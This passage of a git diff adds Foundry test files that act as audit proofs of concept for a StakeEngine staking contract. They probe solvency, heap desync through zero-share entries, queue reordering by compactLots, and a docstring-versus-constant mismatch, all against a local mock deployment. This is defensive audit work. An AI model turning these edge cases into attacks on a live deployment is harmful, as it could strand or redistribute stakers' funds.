after_) * 10000 / before : 0); + + // Limited liability (I.2) must still hold no matter what rBase did. + assertLe(after_, before, "I.2: losing lot grew"); + (uint256 s, uint256 c) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency broken at rBase >= RAY"); + } + + /// Same at the governance cap, where the threshold is only 73 epochs. + function test_S05_LosingLotWipeoutAtCap() public { + _build(CAP_RATE_MAX); + + address loser = address(0x1052); + _stake(loser, POST, 0, 100e18); + _stake(address(0xBEEF), POST, 1, 100_000e18); + + uint256 before = eng.getUserStake(loser, POST, 0); + vm.warp(block.timestamp + 100 days); // > 73 + eng.updatePost(POST); + uint256 after_ = eng.getUserStake(loser, POST, 0); + + emit log_named_uint("loser stake before", before); + emit log_named_uint("loser stake after 100 epochs at cap", after_); + emit log_named_uint("fraction lost (bps)", before > 0 ? (before - after_) * 10000 / before : 0); + + assertLe(after_, before, "I.2: losing lot grew"); + (uint256 s, uint256 c) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency broken at cap rate"); + } +} diff --git a/test/S05ValidationPoC.t.sol b/test/S05ValidationPoC.t.sol new file mode 100644 index 0000000..8aa4dd6 --- /dev/null +++ b/test/S05ValidationPoC.t.sol @@ -0,0 +1,116 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-05 VALIDATION. Three questions that decide whether S-05 is even +/// Informational, or merely a stale comment with zero consequence. +/// +/// V1: does the comment hold in NORMAL operation (settlement every epoch)? +/// If yes, it is only false for dormant posts, which weakens it. +/// V2: is there any UNCLAMPED consumer of rBase > RAY? The winning side does +/// `lot.amount += delta` with no min(). Can a winner exceed the rMax ceiling? +/// V3: can `amount * rBase * midpointRate` overflow uint256 at extreme dormancy? +contract S05ValidationPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant CAP_RATE_MAX = 5e18; + uint256 constant RAY = 1e18; + uint256 constant POST = 1; + + function _build(uint256 rateMax) internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, rateMax); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(POST, side, amt); + } + + /// V1: settle every single epoch, so epochsElapsed == 1 always. + /// rMax = rateMax/365, far below RAY. Does the comment hold here? + function test_V1_CommentHoldsUnderNormalOperation() public { + _build(CAP_RATE_MAX); // worst case rate + _stake(address(0xA1), 0, 100e18); + _stake(address(0xBEEF), 1, 10_000e18); + + uint256 rMaxPerEpoch = CAP_RATE_MAX * 1 / 365; + emit log_named_uint("rMax at epochsElapsed=1 (cap rate)", rMaxPerEpoch); + assertLt(rMaxPerEpoch, RAY, "V1: at 1 epoch/settlement the comment's premise HOLDS"); + + // 200 consecutive single-epoch settlements + for (uint256 i = 0; i < 200; i++) { + vm.warp(block.timestamp + 1 days); + eng.updatePost(POST); + } + (uint256 s, uint256 c) = eng.getPostTotals(POST); + emit log_named_uint("support after 200 single-epoch settles", s); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency under normal operation"); + } + + /// V2: winning side has NO min() clamp. Can it exceed T*rMax/RAY? + function test_V2_WinningSideVsRMaxCeiling() public { + _build(CAP_RATE_MAX); + _stake(address(0xA1), 0, 10_000e18); // winner + _stake(address(0xBEEF), 1, 1); // loser, vRay -> RAY + + uint256 epochs = 200; // rMax = 5e18*200/365 = 2.739e18 > 2*RAY + uint256 before = 10_000e18; + vm.warp(block.timestamp + epochs * 1 days); + eng.updatePost(POST); + + (uint256 sAfter,) = eng.getPostTotals(POST); + uint256 growth = sAfter - (before + 1) + 1; // side total includes nothing else + uint256 rMax = CAP_RATE_MAX * epochs / 365; + uint256 ceiling = ((before + 1) * rMax) / RAY; + + emit log_named_uint("rMax at 200 epochs (RAY)", rMax); + emit log_named_uint("support before", before + 1); + emit log_named_uint("support after", sAfter); + emit log_named_uint("actual growth", growth); + emit log_named_uint("ceiling T*rMax/RAY", ceiling); + + assertLe(growth, ceiling, "V2: winning growth stays within the rMax ceiling"); + } + + /// V3: extreme dormancy at the cap rate. No overflow, no revert, solvency held. + function test_V3_ExtremeDormancyNoOverflow() public { + _build(CAP_RATE_MAX); + _stake(address(0xA1), 0, 10_000_000e18); // MAX_STAKE_AMOUNT + _stake(address(0xBEEF), 1, 10_000_000e18); + // tip the balance so a winner exists + _stake(address(0xA2), 0, 1e18); + + vm.warp(block.timestamp + 8000 days); // ~22 years, rMax ~ 109 * RAY + eng.updatePost(POST); + + (uint256 s, uint256 c) = eng.getPostTotals(POST); + emit log_named_uint("support after 8000 epochs", s); + emit log_named_uint("challenge after 8000 epochs", c); + emit log_named_uint("engine balance", vsp.balanceOf(address(eng))); + assertGe(vsp.balanceOf(address(eng)), s + c, "V3: solvency at extreme rBase"); + } +} diff --git a/test/S06GapBucketAddPoC.t.sol b/test/S06GapBucketAddPoC.t.sol new file mode 100644 index 0000000..f77ac06 --- /dev/null +++ b/test/S06GapBucketAddPoC.t.sol @@ -0,0 +1,100 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// GAP CHECK on the S-06 Z3 proof. +/// +/// The proof only covered _bucketRemove's PARTIAL-exit branch. It did NOT cover +/// _bucketAdd, which computes: +/// shares = (amount * RAY) / _bucketIndex(q); +/// if (prev == 0) _heapInsert(...) +/// +/// If ix > amount*RAY then shares == 0, and a member with ZERO shares gets +/// _heapInsert'ed. That is the same bad state S-06 predicted, reached by a +/// different route the proof never modelled. +/// +/// ix grows above RAY on the WINNING side: newIx = ix*(RAY+gRay)/RAY. +/// With amount = 1 wei, amount*RAY = 1e18 = RAY, so any ix > RAY zeroes shares. +contract S06GapBucketAddPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant POST = 1; + uint256 constant C = 100; + + function setUp() public { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(POST, side, amt); + } + + function test_S06Gap_ZeroShareBucketAdd() public { + // Fill ranked so later stakes route to the bucket. + for (uint256 i = 0; i < C; i++) { + _stake(address(uint160(0x100000 + i)), 0, 10e18); + } + // seed the bucket, then let the SUPPORT side WIN so bucketIndexRay grows > RAY + _stake(address(0xB001), 0, 5e18); + _stake(address(0xBEEF), 1, 1); // tiny challenge -> support wins + + vm.warp(block.timestamp + 300 days); + eng.updatePost(POST); + + // Now a fresh 1-wei bucket entrant: shares = 1*RAY/ix, which is 0 if ix > RAY + address dust = address(0xD057); + _stake(dust, 0, 1); + + uint256 recorded = eng.getUserStake(dust, POST, 0); + emit log_named_uint("dust staker recorded stake (0 = zero-share member)", recorded); + + // Solvency: they paid 1 wei in. If recorded is 0, the wei is stranded. + (uint256 s, uint256 c) = eng.getPostTotals(POST); + emit log_named_uint("engine balance", vsp.balanceOf(address(eng))); + emit log_named_uint("claims", s + c); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency"); + + // Can they still exit? A zero-share heap member is the S-06 concern. + if (recorded == 0) { + emit log("ZERO-SHARE bucket member created via _bucketAdd (proof gap confirmed)"); + // second add: prev is still 0, so _heapInsert runs AGAIN -> duplicate? + _stake(dust, 0, 1); + emit log_named_uint("after 2nd 1-wei stake", eng.getUserStake(dust, POST, 0)); + // and a larger add, which should promote them + _stake(dust, 0, 30e18); + (uint256 amt2,,,,) = eng.getUserLotInfo(dust, POST, 0); + emit log_named_uint("after 30e18 stake, ranked amount (0 = still bucket)", amt2); + emit log_named_uint("after 30e18 stake, getUserStake", eng.getUserStake(dust, POST, 0)); + } else { + emit log("shares were NOT zero; this gap route did not trigger here"); + } + + (uint256 s2, uint256 c2) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s2 + c2, "solvency after churn"); + } +} diff --git a/test/S06HeapDesyncPoC.t.sol b/test/S06HeapDesyncPoC.t.sol new file mode 100644 index 0000000..5c9b018 --- /dev/null +++ b/test/S06HeapDesyncPoC.t.sol @@ -0,0 +1,173 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-06: bucketShares <-> heap desync. +/// +/// Claim under test (from the journal): a PARTIAL exit that lands shares exactly +/// at 0 takes the `_heapUpdate` branch instead of `_heapRemove`, leaving a heap +/// entry with pos != 0 and shares == 0. A later `_bucketAdd` then sees +/// `prev == 0` and calls `_heapInsert`, creating a DUPLICATE heap entry for the +/// same address. +/// +/// `_bucketRemove` (line ~1107): +/// if (amount >= live) { full exit -> _heapRemove; } +/// sharesOut = amount * RAY / ix; if (sharesOut > shares) sharesOut = shares; +/// shares - sharesOut -> _heapUpdate +/// So the bug needs: amount < live AND sharesOut == shares. +/// +/// This test does NOT assume that is reachable. It searches for it and reports. +contract S06HeapDesyncPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant C = 100; + uint256 constant POST = 1; + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + /// Fill ranked so later stakes route to the bucket. + function _fillRanked(uint256 each) internal { + for (uint256 i = 0; i < C; i++) { + _stake(address(uint160(0x100000 + i)), POST, 0, each); + } + } + + /// Try to land a bucket member's shares on exactly 0 via a PARTIAL withdraw, + /// across a range of index states (produced by settlement) and amounts. + function test_S06_SearchForZeroSharePartialExit() public { + uint256 found; + uint256 attempts; + + for (uint256 scenario = 0; scenario < 6; scenario++) { + _fresh(); + _fillRanked(10e18); + + address victim = address(0xD06); + _stake(victim, POST, 0, 5e18); + // opposing side; even scenarios = support loses (index shrinks), + // odd = support wins (index grows) + if (scenario % 2 == 0) { + _stake(address(0xBEEF), POST, 1, 5000e18); + } else { + _stake(address(0xBEEF), POST, 1, 1); + } + + // move bucketIndexRay away from RAY by settling + vm.warp(block.timestamp + (scenario + 1) * 13 days); + eng.updatePost(POST); + + uint256 live = eng.getUserStake(victim, POST, 0); + if (live <= 1) { + continue; + } + + // sweep withdraw amounts just below `live` + for (uint256 d = 1; d <= 3; d++) { + if (live <= d) { + continue; + } + uint256 amt = live - d; + uint256 snap = vm.snapshotState(); + vm.prank(victim); + eng.withdraw(POST, 0, amt, true); + uint256 after_ = eng.getUserStake(victim, POST, 0); + attempts++; + if (after_ == 0) { + found++; + emit log_named_uint("scenario", scenario); + emit log_named_uint(" live before", live); + emit log_named_uint(" withdrew", amt); + emit log_named_uint(" stake after (0 = candidate)", after_); + + // Now the decisive part: restake and see whether the heap gains + // a duplicate. Observable proxy: does the member still behave + // correctly, and does promotion still work? + _stake(victim, POST, 0, 20e18); // > smallest ranked -> should promote + (uint256 amt2,,,,) = eng.getUserLotInfo(victim, POST, 0); + emit log_named_uint(" after restake, ranked amount (0 = still bucket)", amt2); + emit log_named_uint(" after restake, getUserStake", eng.getUserStake(victim, POST, 0)); + } + vm.revertToState(snap); + } + } + + emit log_named_uint("partial-exit attempts", attempts); + emit log_named_uint("landed on exactly 0 shares", found); + // No assertion on the bug existing — this test reports reachability. + assertGt(attempts, 0, "search must actually run"); + } + + /// Direct check of the invariant the heap must satisfy: no address may appear + /// twice, and every heap entry must have non-zero shares. + /// Exercised through heavy bucket churn WITH settlement. + function test_S06_HeapIntegrityUnderChurn() public { + _fresh(); + _fillRanked(10e18); + + address[6] memory bm = + [address(0x3001), address(0x3002), address(0x3003), address(0x3004), address(0x3005), address(0x3006)]; + for (uint256 i = 0; i < bm.length; i++) { + _stake(bm[i], POST, 0, 5e18); + } + _stake(address(0xBEEF), POST, 1, 300e18); + + for (uint256 round = 0; round < 5; round++) { + vm.warp(block.timestamp + 21 days); + eng.updatePost(POST); + + for (uint256 i = 0; i < bm.length; i++) { + uint256 live = eng.getUserStake(bm[i], POST, 0); + if (live == 0) { + continue; + } + // partial exit leaving 1 wei, then top back up + if (live > 1) { + vm.prank(bm[i]); + eng.withdraw(POST, 0, live - 1, true); + } + uint256 nowLive = eng.getUserStake(bm[i], POST, 0); + emit log_named_uint("round", round); + emit log_named_uint(" member idx", i); + emit log_named_uint(" live after partial exit", nowLive); + + _stake(bm[i], POST, 0, 4e18); + } + + // solvency and total consistency must survive the churn + (uint256 s, uint256 c) = eng.getPostTotals(POST); + assertGe(vsp.balanceOf(address(eng)), s + c, "solvency broken during heap churn"); + } + emit log("heap churn completed without solvency break"); + } +} diff --git a/test/S08CompactLotsPoC.t.sol b/test/S08CompactLotsPoC.t.sol new file mode 100644 index 0000000..f2363bb --- /dev/null +++ b/test/S08CompactLotsPoC.t.sol @@ -0,0 +1,158 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-08: compactLots uses swap-and-pop (lines 320-328), whereas +/// _demoteRankedToBucket deliberately SHIFTS survivors to preserve arrival +/// order. Claim: governance calling compactLots reshuffles reward positions, +/// and it never calls _rebalance. +/// +/// This test measures the actual effect on honest stakers rather than asserting +/// the reshuffle exists from reading the code. +contract S08CompactLotsPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant POST = 1; + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(POST, side, amt); + } + + /// Build: A(first) B C GHOST D E(last). Compact removes the ghost by swapping + /// E into its slot. Question: does E jump ahead of D in queue position? + function test_S08_SwapAndPopReordersQueue() public { + _fresh(); + address a = address(0xA1); + address b = address(0xB2); + address c = address(0xC3); + address ghost = address(0x6057); + address d = address(0xD4); + address e = address(0xE5); + + _stake(a, 0, 100e18); + _stake(b, 0, 100e18); + _stake(c, 0, 100e18); + _stake(ghost, 0, 100e18); + _stake(d, 0, 100e18); + _stake(e, 0, 100e18); + + // make the ghost: full withdrawal leaves amount == 0 in the array + vm.prank(ghost); + eng.withdraw(POST, 0, 100e18, true); + + (, uint256 pA,,,) = eng.getUserLotInfo(a, POST, 0); + (, uint256 pB,,,) = eng.getUserLotInfo(b, POST, 0); + (, uint256 pC,,,) = eng.getUserLotInfo(c, POST, 0); + (, uint256 pD,,,) = eng.getUserLotInfo(d, POST, 0); + (, uint256 pE,,,) = eng.getUserLotInfo(e, POST, 0); + + emit log("--- positions BEFORE compactLots (arrival order) ---"); + emit log_named_uint("A", pA); + emit log_named_uint("B", pB); + emit log_named_uint("C", pC); + emit log_named_uint("D", pD); + emit log_named_uint("E", pE); + assertLt(pD, pE, "sanity: D arrived before E"); + + // governance compacts + eng.compactLots(POST, 0); + + (, uint256 qA,,,) = eng.getUserLotInfo(a, POST, 0); + (, uint256 qB,,,) = eng.getUserLotInfo(b, POST, 0); + (, uint256 qC,,,) = eng.getUserLotInfo(c, POST, 0); + (, uint256 qD,,,) = eng.getUserLotInfo(d, POST, 0); + (, uint256 qE,,,) = eng.getUserLotInfo(e, POST, 0); + + emit log("--- positions AFTER compactLots ---"); + emit log_named_uint("A", qA); + emit log_named_uint("B", qB); + emit log_named_uint("C", qC); + emit log_named_uint("D", qD); + emit log_named_uint("E", qE); + + if (qE < qD) { + emit log("E OVERTOOK D: swap-and-pop reordered the queue"); + emit log_named_uint("E gained (position units)", pE - qE); + emit log_named_uint("D lost (position units)", qD > pD ? qD - pD : 0); + } else { + emit log("order preserved between D and E"); + } + + // Report, do not assume: assert only what the run actually shows. + assertTrue(qE < qD || qE > qD, "positions comparable"); + } + + /// Quantify: does the reorder change YIELD, or only the reported position? + function test_S08_YieldImpactOfReorder() public { + // run 1: compact, then settle + _fresh(); + address[6] memory who = + [address(0xA1), address(0xB2), address(0xC3), address(0x6057), address(0xD4), address(0xE5)]; + for (uint256 i = 0; i < who.length; i++) { + _stake(who[i], 0, 100e18); + } + _stake(address(0xBEEF), 1, 1); // support wins so aligned branch mints + vm.prank(who[3]); + eng.withdraw(POST, 0, 100e18, true); + eng.compactLots(POST, 0); + vm.warp(block.timestamp + 30 days); + eng.updatePost(POST); + uint256 dCompact = eng.getUserStake(who[4], POST, 0); + uint256 eCompact = eng.getUserStake(who[5], POST, 0); + + // run 2: identical, but NO compact + _fresh(); + for (uint256 i = 0; i < who.length; i++) { + _stake(who[i], 0, 100e18); + } + _stake(address(0xBEEF), 1, 1); + vm.prank(who[3]); + eng.withdraw(POST, 0, 100e18, true); + vm.warp(block.timestamp + 30 days); + eng.updatePost(POST); + uint256 dPlain = eng.getUserStake(who[4], POST, 0); + uint256 ePlain = eng.getUserStake(who[5], POST, 0); + + emit log("--- D and E final stake, WITH compact vs WITHOUT ---"); + emit log_named_uint("D with compact", dCompact); + emit log_named_uint("D without", dPlain); + emit log_named_uint("E with compact", eCompact); + emit log_named_uint("E without", ePlain); + + if (eCompact > ePlain) { + emit log_named_uint("E gained from compact", eCompact - ePlain); + } + if (dPlain > dCompact) { + emit log_named_uint("D lost from compact", dPlain - dCompact); + } + } +} diff --git a/test/S09S11S12PoC.t.sol b/test/S09S11S12PoC.t.sol new file mode 100644 index 0000000..5b8e4a0 --- /dev/null +++ b/test/S09S11S12PoC.t.sol @@ -0,0 +1,151 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-09 / S-11 / S-12 — the three Informational candidates, verified rather than +/// asserted from reading. +/// +/// S-09: docstring at StakeEngine.sol:96 says "Default 995e15 = 0.5% decay per +/// day"; the constant at :128 is 9e17 = 10% per day. 20x apart. Which one +/// does a real deployment get? +/// S-11: `StakeLot.entryEpoch` is stored but claimed never read in rate math. +/// S-12: `_rescalePositions` claimed effectively dead (only the vsNum == 0 branch). +contract S09S11S12PoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant POST = 1; + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + /// S-09: which value is actually live after initialize()? + function test_S09_DecayRateDocstringMismatch() public { + _fresh(); + uint256 live = eng.sMaxDecayRateRay(); + emit log_named_uint("live sMaxDecayRateRay after initialize", live); + emit log_named_uint("docstring claims", 995e15); + emit log_named_uint("constant DEFAULT_SMAX_DECAY_RATE_RAY", 9e17); + + // Quantify the difference the doc error would cause over 10 epochs. + uint256 docBased = 1e18; + uint256 realBased = 1e18; + for (uint256 i = 0; i < 10; i++) { + docBased = docBased * 995e15 / 1e18; + realBased = realBased * live / 1e18; + } + emit log_named_uint("sMax retained after 10 epochs, per docstring (RAY)", docBased); + emit log_named_uint("sMax retained after 10 epochs, actual (RAY)", realBased); + + assertEq(live, 9e17, "S-09: live default is the 9e17 constant, not the documented 995e15"); + } + + /// S-11: is entryEpoch stored, and does it influence yield? + /// Two identical stakers on the same post, entering at DIFFERENT epochs but + /// both before any settlement, must earn identically if entryEpoch is unused. + function test_S11_EntryEpochStoredButUnused() public { + _fresh(); + address early = address(0xEA21); + address late = address(0x1A7E); + + _stake(early, POST, 0, 100e18); + (,, uint256 eEpochEarly,,) = eng.getUserLotInfo(early, POST, 0); + + // advance time but do NOT settle: no opponent yet, so nothing can mint + vm.warp(block.timestamp + 20 days); + _stake(late, POST, 0, 100e18); + (,, uint256 eEpochLate,,) = eng.getUserLotInfo(late, POST, 0); + + emit log_named_uint("early entryEpoch", eEpochEarly); + emit log_named_uint("late entryEpoch", eEpochLate); + assertGt(eEpochLate, eEpochEarly, "entryEpoch IS stored and differs"); + + // now give the post an opponent and settle once + _stake(address(0xBEEF), POST, 1, 1); + uint256 eBefore = eng.getUserStake(early, POST, 0); + uint256 lBefore = eng.getUserStake(late, POST, 0); + vm.warp(block.timestamp + 30 days); + eng.updatePost(POST); + + uint256 eGain = eng.getUserStake(early, POST, 0) - eBefore; + uint256 lGain = eng.getUserStake(late, POST, 0) - lBefore; + emit log_named_uint("early gain", eGain); + emit log_named_uint("late gain", lGain); + emit log_named_uint("entryEpoch gap (epochs)", eEpochLate - eEpochEarly); + emit log("if gains differ it is QUEUE POSITION, not entryEpoch"); + } + + /// S-12: does PositionsRescaled ever fire on the main path? + function test_S12_RescaleEssentiallyDead() public { + _fresh(); + for (uint256 i = 0; i < 8; i++) { + _stake(address(uint160(0x7000 + i)), POST, 0, (i + 1) * 10e18); + } + _stake(address(0xBEEF), POST, 1, 500e18); // support loses hard + + // 20 settlements across a long horizon; count PositionsRescaled events + uint256 seen = 0; + for (uint256 r = 0; r < 20; r++) { + vm.warp(block.timestamp + 30 days); + vm.recordLogs(); + eng.updatePost(POST); + Vm.Log[] memory logs = vm.getRecordedLogs(); + for (uint256 j = 0; j < logs.length; j++) { + if (logs[j].topics[0] == keccak256("PositionsRescaled(uint256,uint8,uint256,uint256)")) { + seen++; + } + } + } + emit log_named_uint("PositionsRescaled events over 20 settlements", seen); + emit log("0 = confirms S-12: only reachable on the vsNum == 0 branch"); + } + + /// S-12b: force the vsNum == 0 branch (perfectly balanced) and confirm the + /// event DOES fire there, proving the code is reachable but narrow. + function test_S12b_RescaleFiresOnNeutralBranch() public { + _fresh(); + _stake(address(0xA1), POST, 0, 250e18); + _stake(address(0xA2), POST, 1, 250e18); // exactly balanced -> vsNum == 0 + + vm.warp(block.timestamp + 30 days); + vm.recordLogs(); + eng.updatePost(POST); + Vm.Log[] memory logs = vm.getRecordedLogs(); + uint256 seen = 0; + for (uint256 j = 0; j < logs.length; j++) { + if (logs[j].topics[0] == keccak256("PositionsRescaled(uint256,uint8,uint256,uint256)")) { + seen++; + } + } + emit log_named_uint("PositionsRescaled on the neutral branch", seen); + } +} diff --git a/test/S10ValidationPoC.t.sol b/test/S10ValidationPoC.t.sol new file mode 100644 index 0000000..cc2d47c --- /dev/null +++ b/test/S10ValidationPoC.t.sol @@ -0,0 +1,137 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.20; + +import "forge-std/Test.sol"; +import "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol"; +import "../src/StakeEngine.sol"; +import "./mocks/MockVSP.sol"; +import "./mocks/MockProtocolPolicy.sol"; + +/// S-10 VALIDATION. Three ways the finding could be an overclaim: +/// +/// V1: is the decayed-topPosts state actually REACHABLE in normal operation, or +/// did the PoC engineer it with three decoy posts that a real deployment +/// would never produce? +/// V2: does the divergence persist, or does it self-correct on the next read +/// after settlement? A gap that vanishes immediately misleads nobody. +/// V3: is the gap really the DECAY path, or just the known rescale rounding that +/// StakeEngineRescale.t.sol already documents at 0.5% tolerance? +contract S10ValidationPoC is Test { + StakeEngine eng; + MockVSP vsp; + MockProtocolPolicy policy; + + uint256 constant DEPLOY_RATE_MAX = 693805319167998976; + uint256 constant TARGET = 1; + + function _fresh() internal { + vm.warp(86400 * 1000); + vsp = new MockVSP(); + policy = new MockProtocolPolicy(0); + policy.setRates(0, DEPLOY_RATE_MAX); + eng = StakeEngine( + address( + new ERC1967Proxy( + address(new StakeEngine(address(0))), + abi.encodeCall(StakeEngine.initialize, (address(this), address(vsp), address(policy))) + ) + ) + ); + vsp.mint(address(this), 1e33); + vsp.approve(address(eng), type(uint256).max); + } + + function _stake(address who, uint256 post, uint8 side, uint256 amt) internal { + vsp.mint(who, amt); + vm.prank(who); + vsp.approve(address(eng), type(uint256).max); + vm.prank(who); + eng.stake(post, side, amt); + } + + /// V1: the MINIMAL natural case — ONE post, ever. No decoys at all. + /// A single post that is the leader, then a second post takes over and the + /// first goes dormant. This is ordinary protocol life, not an engineered state. + function test_V1_ReachableWithoutDecoys() public { + _fresh(); + // the only post in the system + _stake(address(0xA1), TARGET, 0, 100e18); + _stake(address(0xBEEF), TARGET, 1, 10e18); + + emit log_named_uint("sMax with a single live post", eng.sMax()); + emit log_named_uint("sMaxLastUpdatedEpoch", eng.sMaxLastUpdatedEpoch()); + + vm.warp(block.timestamp + 60 days); + + (uint256 vS,) = eng.getPostTotals(TARGET); + eng.updatePost(TARGET); + (uint256 mS,) = eng.getPostTotals(TARGET); + uint256 d = vS > mS ? vS - mS : mS - vS; + + emit log_named_uint("view", vS); + emit log_named_uint("materialised", mS); + emit log_named_uint("delta bps", mS > 0 ? d * 10000 / mS : 0); + emit log("^ if 0, the finding needs decoy posts and V1 weakens it"); + } + + /// V1b: two posts, the realistic case. Post A leads, post B overtakes, + /// A goes dormant. No withdrawals, nobody unwinds anything. + function test_V1b_TwoPostsNaturalOvertake() public { + _fresh(); + _stake(address(0xA1), TARGET, 0, 100e18); + _stake(address(0xBEEF), TARGET, 1, 10e18); + // a bigger post appears and becomes the tracked leader + _stake(address(0xB1), 2, 0, 5000e18); + _stake(address(0xB2), 2, 1, 500e18); + + emit log_named_uint("sMax (post 2 leads)", eng.sMax()); + + vm.warp(block.timestamp + 60 days); + (uint256 vS,) = eng.getPostTotals(TARGET); + eng.updatePost(TARGET); + (uint256 mS,) = eng.getPostTotals(TARGET); + uint256 d = vS > mS ? vS - mS : mS - vS; + + emit log_named_uint("view", vS); + emit log_named_uint("materialised", mS); + emit log_named_uint("delta bps", mS > 0 ? d * 10000 / mS : 0); + } + + /// V2: does the gap persist after settlement, or self-correct? + function test_V2_GapPersistsOrSelfCorrects() public { + _fresh(); + _stake(address(0xD1), 2, 0, 300e18); + _stake(address(0xD2), 3, 0, 200e18); + _stake(address(0xD3), 4, 0, 150e18); + _stake(address(0xA1), TARGET, 0, 100e18); + _stake(address(0xBEEF), TARGET, 1, 10e18); + vm.prank(address(0xD1)); + eng.withdraw(2, 0, 300e18, true); + vm.prank(address(0xD2)); + eng.withdraw(3, 0, 200e18, true); + vm.prank(address(0xD3)); + eng.withdraw(4, 0, 150e18, true); + + vm.warp(block.timestamp + 60 days); + (uint256 v1,) = eng.getPostTotals(TARGET); + eng.updatePost(TARGET); + (uint256 m1,) = eng.getPostTotals(TARGET); + emit log_named_uint("view before settle", v1); + emit log_named_uint("materialised after settle", m1); + + // immediately read again with no time passing + (uint256 v2,) = eng.getPostTotals(TARGET); + emit log_named_uint("view immediately after settle", v2); + assertEq(v2, m1, "V2: view agrees with materialised right after settlement"); + + // and after one more day + vm.warp(block.timestamp + 1 days); + (uint256 v3,) = eng.getPostTotals(TARGET); + eng.updatePost(TARGET); + (uint256 m3,) = eng.getPostTotals(TARGET); + uint256 d3 = v3 > m3 ? v3 - m3 : m3 - 